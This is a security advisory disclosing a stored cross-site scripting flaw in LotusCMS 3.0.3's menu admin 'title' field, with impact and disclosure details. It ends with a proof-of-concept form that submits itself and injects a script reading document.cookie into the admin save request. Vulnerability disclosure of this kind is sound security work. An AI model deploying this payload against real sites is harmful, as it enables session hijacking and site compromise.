Vulnerability ID: HTB22887 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_3.html Product: LotusCMS Vendor: Arboroia Network ( http://www.lotuscms.org/ ) Vulnerable Version: 3.0.3 and probably prior versions Vendor Notification: 01 March 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "modules/Menu/MenuModuleAdmin.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php?system=Modules&page=admin&active=Menu&req=save&id=3"; method="post" name="main"> <input type="hidden" name="title" value='lotus"><script>alert(document.cookie)</script>'> <input type="hidden" name="external" value="http://host";> </form> <script> document.main.submit(); </script>
